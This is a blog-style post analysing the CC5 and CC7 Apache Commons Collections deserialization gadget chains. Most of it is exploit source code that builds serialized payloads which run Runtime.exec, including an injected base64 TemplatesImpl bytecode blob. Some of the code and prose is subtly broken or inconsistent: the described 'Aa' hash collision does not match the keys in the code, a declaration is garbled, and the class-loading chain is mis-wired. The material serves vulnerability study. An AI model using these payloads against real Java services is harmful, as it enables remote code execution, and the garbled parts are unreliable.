Deep Dive into Apache Commons Collections Deserialization Chains: CC5 and CC7 Mechanics

Target Environment

The demonstration relies on the following library versions and runtime configurations:

  • Library: Apache Commons Collections 3.2.1
  • Runtime: OpenJDK 1.8 (Update 65)

Both vulnerabilities involve modifications within the LazyMap.get() method. The following sections detail the execution flow and implementation for the CC5 and CC7 gadget chains respectively.

Chain CC5 Execution

The CC5 chain leverages the BadAttributeValueExpException class. Specifically, it utilizes the behavior observed during deserialization when the object's toString() method is invoked implicitly. The entry point relies on the TiedMapEntry.toString() implementation, which subsequently calls getValue().

By injecting a LazyMap as the underlying value store, the call chain proceeds identically to the CC1 sequence once the getValue() interaction occurs. During construction, the BadAttributeValueExpException performs a conditional check on its private val field. If the value is non-null, it immediately invokes toString(). Consequently, a naive instantiation causes code execution before the serialized stream is even processed. To delay this execution until deserialization, the initial instance must be created with a null value, followed by a reflection-based modification prior to serialization.

Payload Construction

The following example demonstrates the refined approach using reflection to bypass the constructor check:

public class CommonsCollectionsCC5Exploit {
    public static void main(String[] args) throws Exception {
        // Construct the transformer chain
        Transformer[] chainTransformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };

        // Create LazyMap wrapping HashMap with the transformer chain
        Map lazyMap = LazyMap.decorate(new HashMap<>(), new ChainedTransformer(chainTransformers));
        
        // Initialize TiedMapEntry
        TiedMapEntry mappedEntry = new TiedMapEntry(lazyMap, null);
        
        // Create the exception wrapper with null to prevent immediate toString()
        BadAttributeValueExpException valWrapper = new BadAttributeValueExpException(null);
        
        // Inject the malicious entry via Reflection
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(valWrapper, mappedEntry);

        // Serialize
        try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc5_payload.bin"))) {
            out.writeObject(valWrapper);
        }

        // Deserialize
        try (ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc5_payload.bin"))) {
            in.readObject();
        }
    }
}

Chain CC7 Execution

The CC7 chain similarly targets the LazyMap.get() entry point but differs in how it reaches that state. Unlike CC5, which relies on attribute accessors, CC7 exploits the Hashtable deserialization process.

When a Hashtable is deserialized, it reconstructs internal buckets by calling reconstitutionPut(). During this phase, the equals() method is invoked to compare keys. In this scenario, we utilize a LazyMap instance as a key. Because LazyMap delegates equality checks to its parent AbstractMapDecorator, which further delegates to AbstractMap.equals(), the traversal eventually reaches the wrapped HashMap's get() method. This forces the execution of the malicious transformation logic associated with the LazyMap.'

Hash Collision Strategy

To reliably trigger the equals() comparison logic during deserialization, specific conditions regarding hashing must be met. A Hashtable organizes data based on hash indices derived from the key's hashCode().

  1. Initialization: During serialization, we insert entries into the table. The first insertion calculates an index based on the key's hash.
  2. Collisions: To force a traversal through the bucket array during reconstruction, two distinct keys must share the same calculated index but resolve as unequal.
  3. Stabilization: Since LazyMap lacks its own hashCode(), it computes the sum of elements' hashes. Adding an element changes the hash sum, affecting the collision outcome.

Therefore, we construct two LazyMap instances where the calculated hash sums match after a specific manipulation. By inserting a temporary entry ("Aa") into both maps, generating the desired hash signature, and then removing it from one, we ensure that the hash calculation performed during the actual deserialization equals() check matches the intended collision profile.

CC7 Payload Implementation

The standard implementation involves preparing two transformed maps, aligning their hash codes, and wrapping them in a Hashtable. The bytecode injection for arbitrary code execution can be combined with TemplatesImpl in advanced scenarios.

Standard Remote Execution Variant:

public class CommonsCollectionsCC7Exploit {
    public static void main(String[] args) throws Exception {
        Transformer[] execChain = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };

        Map transformMapA = LazyMap.decorate(new HashMap<>(), new ChainedTransformer(execChain));
        Map transformMapB = LazyMap.decorate(new HashMap<>(), new ChainedTransformer(execChain));

        // Hash preparation
        transformMapA.put("temp_key_a", 1);
        transformMapB.put("temp_key_b", 1);

        Hashtable table = new Hashtable();
        table.put(transformMapA, "value1");
        table.put(transformMapB, "value2");

        // Adjust hash alignment for collision during equals check
        transformMapB.remove("temp_key_b"); 

        // Persist
        try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc7_payload.bin"))) {
            out.writeObject(table);
        }

        // Trigger
        try (ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc7_payload.bin"))) {
            in.readObject();
        }
    }
}

Integration with Dynamic Class Loading:

In scenarios requiring full class loading rather than simple process spawning, TemplatesImpl can replace the ChainedTransformer logic within the chain. The bytecode payload below is configured to instantiate custom classes upon serialization.

public class CommonsCollectionsCC7DynamicLoad {
    public static void main(String[] args) throws Exception {
        // Setup TemplatesImpl with encoded shellcode
        TemplatesImpl templates = new TemplatesImpl();
        
        // Utilize reflection to inject malicious field values
        Class> tplClass = TemplatesImpl.class;
        
        Field nameField = tplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "MaliciousName");

        Field bytecodesField = tplClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        
        String encodedBytecode = "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
                "AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
                "bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
                "b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
                "bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
                "cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
                "YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
                "aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
                "AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
                "dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
                "OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
                "ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
                "Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
                "YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
                "L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
                "YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
                "dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
                "AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
                "AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
                "AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
                "EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
                "AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
                "EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==";
                
        byte[] rawBytes = Base64.getDecoder().decode(encodedBytecode);
        byte[][] compiledBytecodes = {rawBytes};
        bytecodesField.set(templates, compiledBytecodes);

        Transformer[] loadChain = new Transformer[]{
            new ConstantTransformer(Templates.class),
            new InstantiateTransformer(Templates.class, new Object[]{templates})
        };

        Map mapA = LazyMap.decorate(new HashMap<>(), new ChainedTransformer(loadChain));
        Map mapB = LazyMap.decorate(new HashMap<>(), new ChainedTransformer(loadChain));
        
        mapA.put("hash_prep_key", 1);
        mapB.put("hash_match_key", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(mapA, "dataA");
        hashTable.put(mapB, "dataB");

        // Align hash logic for deserialization equality checks
        mapB.remove("hash_match_key");

        // Serialization and Deserialization cycle
        try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc7_dynamic.bin"))) {
            out.writeObject(hashTable);
        }

        try (ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc7_dynamic.bin"))) {
            in.readObject();
        }
    }
}

Tags: java-deserialization Apache-Commons-Collections RCE Vulnerability-Analysis

Posted on Fri, 10 Jul 2026 17:12:22 +0000 by richei